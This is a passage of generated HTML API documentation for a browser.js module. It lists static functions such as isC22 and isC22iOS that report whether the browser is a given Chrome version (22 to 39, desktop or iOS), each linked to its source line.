\n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1200\">line 1200</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC22\"><span class=\"type-signature\">(static) </span>isC22<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 22.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1208\">line 1208</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC22iOS\"><span class=\"type-signature\">(static) </span>isC22iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 22.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1216\">line 1216</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC23\"><span class=\"type-signature\">(static) </span>isC23<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 23.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1224\">line 1224</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC23iOS\"><span class=\"type-signature\">(static) </span>isC23iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 23.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1232\">line 1232</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC24\"><span class=\"type-signature\">(static) </span>isC24<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 24.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1240\">line 1240</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC24iOS\"><span class=\"type-signature\">(static) </span>isC24iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 24.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1248\">line 1248</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC25\"><span class=\"type-signature\">(static) </span>isC25<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 25.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1256\">line 1256</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC25iOS\"><span class=\"type-signature\">(static) </span>isC25iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 25.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1264\">line 1264</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC26\"><span class=\"type-signature\">(static) </span>isC26<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 26.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1272\">line 1272</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC26iOS\"><span class=\"type-signature\">(static) </span>isC26iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 26.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1280\">line 1280</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC27\"><span class=\"type-signature\">(static) </span>isC27<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 27.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1288\">line 1288</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC27iOS\"><span class=\"type-signature\">(static) </span>isC27iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 27.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1296\">line 1296</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC28\"><span class=\"type-signature\">(static) </span>isC28<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 28.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1304\">line 1304</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC28iOS\"><span class=\"type-signature\">(static) </span>isC28iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 28.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1312\">line 1312</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC29\"><span class=\"type-signature\">(static) </span>isC29<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 29.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1320\">line 1320</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC29iOS\"><span class=\"type-signature\">(static) </span>isC29iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 29.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1328\">line 1328</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC30\"><span class=\"type-signature\">(static) </span>isC30<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 30.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1336\">line 1336</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC30iOS\"><span class=\"type-signature\">(static) </span>isC30iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 30.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1344\">line 1344</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC31\"><span class=\"type-signature\">(static) </span>isC31<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 31.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1352\">line 1352</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC31iOS\"><span class=\"type-signature\">(static) </span>isC31iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 31.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1360\">line 1360</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC32\"><span class=\"type-signature\">(static) </span>isC32<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 32.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1368\">line 1368</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC32iOS\"><span class=\"type-signature\">(static) </span>isC32iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 32.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1376\">line 1376</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC33\"><span class=\"type-signature\">(static) </span>isC33<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 33.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1384\">line 1384</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC33iOS\"><span class=\"type-signature\">(static) </span>isC33iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 33.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1392\">line 1392</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC34\"><span class=\"type-signature\">(static) </span>isC34<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 34.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1400\">line 1400</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC34iOS\"><span class=\"type-signature\">(static) </span>isC34iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 34.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1408\">line 1408</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC35\"><span class=\"type-signature\">(static) </span>isC35<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 35.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1416\">line 1416</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC35iOS\"><span class=\"type-signature\">(static) </span>isC35iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 35.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1424\">line 1424</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC36\"><span class=\"type-signature\">(static) </span>isC36<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 36.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1432\">line 1432</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC36iOS\"><span class=\"type-signature\">(static) </span>isC36iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 36.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1440\">line 1440</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC37\"><span class=\"type-signature\">(static) </span>isC37<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 37.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1448\">line 1448</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC37iOS\"><span class=\"type-signature\">(static) </span>isC37iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 37.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1456\">line 1456</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC38\"><span class=\"type-signature\">(static) </span>isC38<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 38.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1464\">line 1464</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC38iOS\"><span class=\"type-signature\">(static) </span>isC38iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 38.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1472\">line 1472</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC39\"><span class=\"type-signature\">(static) </span>isC39<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 39.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n 